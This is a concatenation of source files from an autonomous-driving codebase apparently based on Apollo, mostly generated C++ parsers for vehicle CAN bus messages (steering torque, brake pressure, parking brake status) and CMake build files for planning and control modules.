''} //Eps_advanced_0x176_176::Eps_epspaminhType Epsadvanced0x176176::eps_epspaminh(const std::uint8_t* bytes, int32_t length) const { // Byte t0(bytes + 4); // int32_t x = t0.get_byte(0, 8); // Eps_advanced_0x176_176::Eps_epspaminhType ret = static_cast<Eps_advanced_0x176_176::Eps_epspaminhType>(x); // return ret; //} int32_t Epsadvanced0x176176::eps_epspaminh(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 8); int32_t ret = (x); return ret; } // config detail: {'name': 'rolling_counter_0x176', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Epsadvanced0x176176::rolling_counter_0x176(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'eps_epspamsts', 'enum': {0: 'EPS_EPSPAMSTS_INHIBIT', 1: 'EPS_EPSPAMSTS_AVAILABLE', 2: 'EPS_EPSPAMSTS_ACTIVE', 3: 'EPS_EPSPAMSTS_ABORT', 4: 'EPS_EPSPAMSTS_REPLY_FOR_CONTROL', 5: 'EPS_EPSPAMSTS_NRCD_ACTIVE', 6: 'EPS_EPSPAMSTS_ADAS_ACTIVE', 7: 'EPS_EPSPAMSTS_FAILURE'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_epspamstsType Epsadvanced0x176176::eps_epspamsts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 4); Eps_advanced_0x176_176::Eps_epspamstsType ret = static_cast<Eps_advanced_0x176_176::Eps_epspamstsType>(x); return ret; } // config detail: {'name': 'checksum_0x176', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Epsadvanced0x176176::checksum_0x176(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'eps_torsionbartorque', 'offset': -10.24, 'precision': 0.01, 'len': 11, 'is_signed_var': False, 'physical_range': '[-10.24|10.22]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'Nm'} double Epsadvanced0x176176::eps_torsionbartorque(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(5, 3); x <<= 3; x |= t; double ret = x * 0.010000 + -10.240000; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_subdirectory(proto) add_library(vehicle_model vehicle_model.cc vehicle_model.h) target_link_libraries(vehicle_model util jmcauto_log config_gflags vehicle_config_helper vehicle_model_config_proto vehicle_state_proto)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_slpoint_h #define impl_type_slpoint_h #include "impl_type_double.h" struct SLPoint { ::Double s; ::Double l; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(s); fun(l); } template<typename F> void enumerate(F& fun) const { fun(s); fun(l); } bool operator == (const ::SLPoint& t) const { return (s == t.s) && (l == t.l); } }; #endif // impl_type_slpoint_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(mdc_can_client mdc_can_client.cc mdc_can_client.h ${PROJECT_SOURCE_DIR}/generated/canrxserviceinterface_common.cpp ${PROJECT_SOURCE_DIR}/generated/cantxserviceinterface_common.cpp ) target_link_libraries(mdc_can_client ${COMMON_LIB} can_client)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include <cstdint> #ifndef base_type_std_bool_h #define base_type_std_bool_h typedef bool std_bool; #endif // base_type_std_bool_h <file_sep>/****************************************************************************** * Copyright 2017 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/esp_pressure_0x241_241.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Esppressure0x241241::Esppressure0x241241() {} const int32_t Esppressure0x241241::ID = 0x241; void Esppressure0x241241::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_esp_pressure_0x241_241()->set_esp_trfcasetqlmtdbyesp(esp_trfcasetqlmtdbyesp(bytes, length)); chassis->mutable_cx75()->mutable_esp_pressure_0x241_241()->set_esp_trfcasemodreqdbyesp(esp_trfcasemodreqdbyesp(bytes, length)); chassis->mutable_cx75()->mutable_esp_pressure_0x241_241()->set_esp_presoffsetmastercylindervali(esp_presoffsetmastercylindervali(bytes, length)); chassis->mutable_cx75()->mutable_esp_pressure_0x241_241()->set_esp_presoffsetmastercylinder(esp_presoffsetmastercylinder(bytes, length)); chassis->mutable_cx75()->mutable_esp_pressure_0x241_241()->set_rolling_counter_0x241(rolling_counter_0x241(bytes, length)); chassis->mutable_cx75()->mutable_esp_pressure_0x241_241()->set_esp_master_cylinder_pressure_sta(esp_master_cylinder_pressure_sta(bytes, length)); chassis->mutable_cx75()->mutable_esp_pressure_0x241_241()->set_checksum_0x241(checksum_0x241(bytes, length)); chassis->mutable_cx75()->mutable_esp_pressure_0x241_241()->set_esp_master_cylinder_pressure(esp_master_cylinder_pressure(bytes, length)); } // config detail: {'name': 'esp_trfcasetqlmtdbyesp', 'offset': 0.0, 'precision': 1.0, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|4095]', 'bit': 11, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int Esppressure0x241241::esp_trfcasetqlmtdbyesp(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 4); Byte t1(bytes + 2); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x; return ret; } // config detail: {'name': 'esp_trfcasemodreqdbyesp', 'enum': {0: 'ESP_TRFCASEMODREQDBYESP_NO_REQUEST', 1: 'ESP_TRFCASEMODREQDBYESP_FAST_OPEN_REQUEST', 2: 'ESP_TRFCASEMODREQDBYESP_TORQUE_UPPER_LIMIT_REQUEST', 3: 'ESP_TRFCASEMODREQDBYESP_FAILURE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 41, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_pressure_0x241_241::Esp_trfcasemodreqdbyespType Esppressure0x241241::esp_trfcasemodreqdbyesp(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 2); Esp_pressure_0x241_241::Esp_trfcasemodreqdbyespType ret = static_cast<Esp_pressure_0x241_241::Esp_trfcasemodreqdbyespType>(x); return ret; } // config detail: {'name': 'esp_presoffsetmastercylindervali', 'enum': {0: 'ESP_PRESOFFSETMASTERCYLINDERVALI_VALID', 1: 'ESP_PRESOFFSETMASTERCYLINDERVALI_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 42, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_pressure_0x241_241::Esp_presoffsetmastercylindervaliType Esppressure0x241241::esp_presoffsetmastercylindervali(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(2, 1); Esp_pressure_0x241_241::Esp_presoffsetmastercylindervaliType ret = static_cast<Esp_pressure_0x241_241::Esp_presoffsetmastercylindervaliType>(x); return ret; } // config detail: {'name': 'esp_presoffsetmastercylinder', 'enum': {31: 'ESP_PRESOFFSETMASTERCYLINDER_INVALID'}, 'precision': 1.0, 'len': 5, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'bar'} int Esppressure0x241241::esp_presoffsetmastercylinder(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(3, 5); int ret = static_cast<int>(x); return ret; } // config detail: {'name': 'rolling_counter_0x241', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Esppressure0x241241::rolling_counter_0x241(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'esp_master_cylinder_pressure_sta', 'enum': {0: 'ESP_MASTER_CYLINDER_PRESSURE_STA_VALID', 1: 'ESP_MASTER_CYLINDER_PRESSURE_STA_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_pressure_0x241_241::Esp_master_cylinder_pressure_staType Esppressure0x241241::esp_master_cylinder_pressure_sta(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(7, 1); Esp_pressure_0x241_241::Esp_master_cylinder_pressure_staType ret = static_cast<Esp_pressure_0x241_241::Esp_master_cylinder_pressure_staType>(x); return ret; } // config detail: {'name': 'checksum_0x241', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Esppressure0x241241::checksum_0x241(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'esp_master_cylinder_pressure', 'offset': 0.0, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|255.9375]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'bar'} double Esppressure0x241241::esp_master_cylinder_pressure(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; double ret = x * 0.062500; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_IBC_STATUS_0X122_122_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_IBC_STATUS_0X122_122_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Ibcstatus0x122122 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Ibcstatus0x122122(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0x122', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x122(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x122', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x122(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_ParkRelease_Req', 'enum': {0: 'IBC_PARKRELEASE_REQ_NO_CONTROL', 1: 'IBC_PARKRELEASE_REQ_RELEASE', 2: 'IBC_PARKRELEASE_REQ_PARK', 3: 'IBC_PARKRELEASE_REQ_DYNAMIC_PARKING'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_parkrelease_reqType ibc_parkrelease_req(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_FaultCode', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|0]', 'bit': 47, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int ibc_faultcode(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_BrkPedalRawPosition', 'offset': 0.0, 'precision': 0.3937, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|99.9998]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double ibc_brkpedalrawposition(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_MasterCylinderPressValid', 'enum': {0: 'IBC_MASTERCYLINDERPRESSVALID_INVAILD', 1: 'IBC_MASTERCYLINDERPRESSVALID_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_mastercylinderpressvalidType ibc_mastercylinderpressvalid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_MasterCylinderPress', 'offset': 0.0, 'precision': 1.0, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|32000]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': 'kpa'} int ibc_mastercylinderpress(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_BrakeActive', 'enum': {0: 'IBC_BRAKEACTIVE_BRAKE_INACTIVE', 1: 'IBC_BRAKEACTIVE_BRAKE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_brakeactiveType ibc_brakeactive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_BrakeReqAvailabe', 'enum': {0: 'IBC_BRAKEREQAVAILABE_BRAKE_NOT_AVAILABLE', 1: 'IBC_BRAKEREQAVAILABE_BRAKE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_brakereqavailabeType ibc_brakereqavailabe(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_BrakePressureReqACK', 'enum': {0: 'IBC_BRAKEPRESSUREREQACK_NOT_ACK', 1: 'IBC_BRAKEPRESSUREREQACK_ACK'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 2, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_brakepressurereqackType ibc_brakepressurereqack(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_ControlStatus', 'enum': {0: 'IBC_CONTROLSTATUS_TEMPORARILY_INHIBIT', 1: 'IBC_CONTROLSTATUS_AVAILABLE_FOR_CONTROL', 2: 'IBC_CONTROLSTATUS_ACTIVE', 3: 'IBC_CONTROLSTATUS_PERMANENTLY_FAILED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 4, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_controlstatusType ibc_controlstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_Driver_Intervene', 'enum': {0: 'IBC_DRIVER_INTERVENE_NOT_INTERVENE', 1: 'IBC_DRIVER_INTERVENE_INTERVENE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_driver_interveneType ibc_driver_intervene(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'IBC_SystemStatus', 'enum': {0: 'IBC_SYSTEMSTATUS_SYSTEM_NO_FAULT', 1: 'IBC_SYSTEMSTATUS_SYSTEM_WARING', 2: 'IBC_SYSTEMSTATUS_SYSTEM_FAULT', 3: 'IBC_SYSTEMSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_systemstatusType ibc_systemstatus(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_IBC_STATUS_0X122_122_H_ <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/epb_status_0x152_152.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Epbstatus0x152152::Epbstatus0x152152() {} const int32_t Epbstatus0x152152::ID = 0x152; void Epbstatus0x152152::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_epb_status_0x152_152()->set_checksum_0x152(checksum_0x152(bytes, length)); chassis->mutable_teshun()->mutable_epb_status_0x152_152()->set_rolling_counter_0x152(rolling_counter_0x152(bytes, length)); chassis->mutable_teshun()->mutable_epb_status_0x152_152()->set_epb_faultcode(epb_faultcode(bytes, length)); chassis->mutable_teshun()->mutable_epb_status_0x152_152()->set_epb_brakelampreq(epb_brakelampreq(bytes, length)); chassis->mutable_teshun()->mutable_epb_status_0x152_152()->set_epb_sysfaultstatus(epb_sysfaultstatus(bytes, length)); chassis->mutable_teshun()->mutable_epb_status_0x152_152()->set_epb_parkingstatus(epb_parkingstatus(bytes, length)); chassis->mutable_teshun()->mutable_epb_status_0x152_152()->set_epb_switchstatus(epb_switchstatus(bytes, length)); } // config detail: {'name': 'checksum_0x152', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Epbstatus0x152152::checksum_0x152(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x152', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Epbstatus0x152152::rolling_counter_0x152(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'epb_faultcode', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|0]', 'bit': 47, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Epbstatus0x152152::epb_faultcode(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'epb_brakelampreq', 'enum': {0: 'EPB_BRAKELAMPREQ_BRAKE_LAMP_OFF', 1: 'EPB_BRAKELAMPREQ_BRAKE_LAMP_ON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Epb_status_0x152_152::Epb_brakelampreqType Epbstatus0x152152::epb_brakelampreq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(7, 1); Epb_status_0x152_152::Epb_brakelampreqType ret = static_cast<Epb_status_0x152_152::Epb_brakelampreqType>(x); return ret; } // config detail: {'name': 'epb_sysfaultstatus', 'enum': {0: 'EPB_SYSFAULTSTATUS_NO_FAULT', 1: 'EPB_SYSFAULTSTATUS_WARNING', 2: 'EPB_SYSFAULTSTATUS_FAULT', 3: 'EPB_SYSFAULTSTATUS_RESEVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 2, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Epb_status_0x152_152::Epb_sysfaultstatusType Epbstatus0x152152::epb_sysfaultstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(1, 2); Epb_status_0x152_152::Epb_sysfaultstatusType ret = static_cast<Epb_status_0x152_152::Epb_sysfaultstatusType>(x); return ret; } // config detail: {'name': 'epb_parkingstatus', 'enum': {0: 'EPB_PARKINGSTATUS_RELEASED', 1: 'EPB_PARKINGSTATUS_RELEASE_ONGOING', 2: 'EPB_PARKINGSTATUS_PARK_ONGOING', 3: 'EPB_PARKINGSTATUS_PARKED', 4: 'EPB_PARKINGSTATUS_UNKOWN'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Epb_status_0x152_152::Epb_parkingstatusType Epbstatus0x152152::epb_parkingstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(3, 3); Epb_status_0x152_152::Epb_parkingstatusType ret = static_cast<Epb_status_0x152_152::Epb_parkingstatusType>(x); return ret; } // config detail: {'name': 'epb_switchstatus', 'enum': {0: 'EPB_SWITCHSTATUS_NO_ACTION_ON_SWITCH', 1: 'EPB_SWITCHSTATUS_SWITCH_TO_RELEASE', 2: 'EPB_SWITCHSTATUS_SWITCH_TO_PARK', 3: 'EPB_SWITCHSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Epb_status_0x152_152::Epb_switchstatusType Epbstatus0x152152::epb_switchstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 2); Epb_status_0x152_152::Epb_switchstatusType ret = static_cast<Epb_status_0x152_152::Epb_switchstatusType>(x); return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(lane_follow INTERFACE) target_link_libraries(lane_follow INTERFACE lane_follow_scenario lane_follow_stage) add_library(lane_follow_stage lane_follow_stage.cc lane_follow_stage.h) target_link_libraries(lane_follow_stage log pnc_point_proto /modules/common/status /modules/common/time /modules/common/util factory vehicle_state_provider /modules/map/hdmap planning_common speed_profile_generator /modules/planning/constraint_checker /modules/planning/math/curve1d:quartic_polynomial_curve1d planning_proto /modules/planning/reference_line /modules/planning/reference_line:qp_spline_reference_line_smoother /modules/planning/scenarios:scenario /modules/planning/tasks/deciders/lane_change_decider /modules/planning/tasks/deciders/path_decider /modules/planning/tasks/deciders/speed_decider /modules/planning/tasks/optimizers:path_optimizer /modules/planning/tasks/optimizers:speed_optimizer /modules/planning/tasks/optimizers/path_time_heuristic:path_time_heuristic_optimizer /external:gflags eigen) add_library(lane_follow_scenario lane_follow_scenario.cc lane_follow_scenario.h) target_link_libraries(lane_follow_scenario lane_follow_stage log pnc_point_proto /modules/common/status /modules/common/time /modules/common/util factory vehicle_state_provider /modules/map/hdmap planning_common speed_profile_generator /modules/planning/constraint_checker /modules/planning/math/curve1d:quartic_polynomial_curve1d planning_proto /modules/planning/reference_line /modules/planning/reference_line:qp_spline_reference_line_smoother /modules/planning/scenarios:scenario /modules/planning/tasks/deciders/path_decider /modules/planning/tasks/deciders/speed_decider /modules/planning/tasks/optimizers:path_optimizer /modules/planning/tasks/optimizers:speed_optimizer /modules/planning/tasks/optimizers/path_time_heuristic:path_time_heuristic_optimizer /external:gflags eigen) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(standing_still_trajectory1d standing_still_trajectory1d.cc standing_still_trajectory1d.h) target_link_libraries(standing_still_trajectory1d log /modules/planning/math/curve1d) add_library(piecewise_acceleration_trajectory1d piecewise_acceleration_trajectory1d.cc piecewise_acceleration_trajectory1d.h) target_link_libraries(piecewise_acceleration_trajectory1d linear_interpolation planning_gflags /modules/planning/math/curve1d com_google_absl//absl/strings) add_library(constant_deceleration_trajectory1d constant_deceleration_trajectory1d.cc constant_deceleration_trajectory1d.h) target_link_libraries(constant_deceleration_trajectory1d log planning_gflags /modules/planning/math/curve1d) add_library(piecewise_trajectory1d piecewise_trajectory1d.cc piecewise_trajectory1d.h) target_link_libraries(piecewise_trajectory1d linear_interpolation /modules/planning/math/curve1d) add_library(constant_jerk_trajectory1d constant_jerk_trajectory1d.cc constant_jerk_trajectory1d.h) target_link_libraries(constant_jerk_trajectory1d log planning_gflags /modules/planning/math/curve1d) add_library(piecewise_jerk_trajectory1d piecewise_jerk_trajectory1d.cc piecewise_jerk_trajectory1d.h) target_link_libraries(piecewise_jerk_trajectory1d constant_jerk_trajectory1d) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(piecewise_jerk_speed_optimizer piecewise_jerk_speed_optimizer.cc piecewise_jerk_speed_optimizer.h) target_link_libraries(piecewise_jerk_speed_optimizer error_code_proto pnc_point_proto speed_profile_generator st_graph_data /modules/planning/math/piecewise_jerk:piecewise_jerk_speed_problem /modules/planning/tasks/optimizers:speed_optimizer) add_library(piecewise_jerk_speed_nonlinear_optimizer piecewise_jerk_speed_nonlinear_optimizer.cc piecewise_jerk_speed_nonlinear_optimizer.h) target_link_libraries(piecewise_jerk_speed_nonlinear_optimizer piecewise_jerk_speed_nonlinear_ipopt_interface error_code_proto pnc_point_proto speed_profile_generator st_graph_data path_data piecewise_jerk_trajectory1d /modules/planning/math/piecewise_jerk:piecewise_jerk_path_problem /modules/planning/math/piecewise_jerk:piecewise_jerk_speed_problem ipopt_return_status_proto /modules/planning/tasks/optimizers:speed_optimizer) add_library(piecewise_jerk_speed_nonlinear_ipopt_interface piecewise_jerk_speed_nonlinear_ipopt_interface.cc piecewise_jerk_speed_nonlinear_ipopt_interface.h) target_link_libraries(piecewise_jerk_speed_nonlinear_ipopt_interface pnc_point_proto path_data piecewise_jerk_trajectory1d ipopt) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(controller_interface INTERFACE ) target_link_libraries(controller_interface INTERFACE ) add_library(lat_controller lat_controller.cc lat_controller.h) target_link_libraries(lat_controller controller_interface jmcauto_log vehicle_config_helper digital_filter digital_filter_coefficients mean_filter euler_angles_zxy geometry lqr common_proto status time control_gflags interpolation_1d interpolation_2d trajectory_analyzer control_proto pid_controller #eigen ) add_library(lon_controller lon_controller.cc lon_controller.h) target_link_libraries(lon_controller controller_interface jmcauto_log vehicle_config_helper digital_filter digital_filter_coefficients mean_filter status time vehicle_state_provider control_gflags interpolation_2d pid_controller trajectory_analyzer localization_common ) add_library(controller INTERFACE) target_link_libraries(controller INTERFACE controller_agent controller_interface lat_controller lon_controller #eigen ) add_library(controller_agent controller_agent.cc controller_agent.h) target_link_libraries(controller_agent controller_interface lat_controller lon_controller canbus_proto jmcauto_log time factory control_proto planning_proto)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(path_assessment_decider path_assessment_decider.cc path_assessment_decider.h) target_link_libraries(path_assessment_decider planning_context planning_gflags reference_line_info /modules/planning/tasks/deciders:decider_base /modules/planning/tasks/deciders/path_bounds_decider 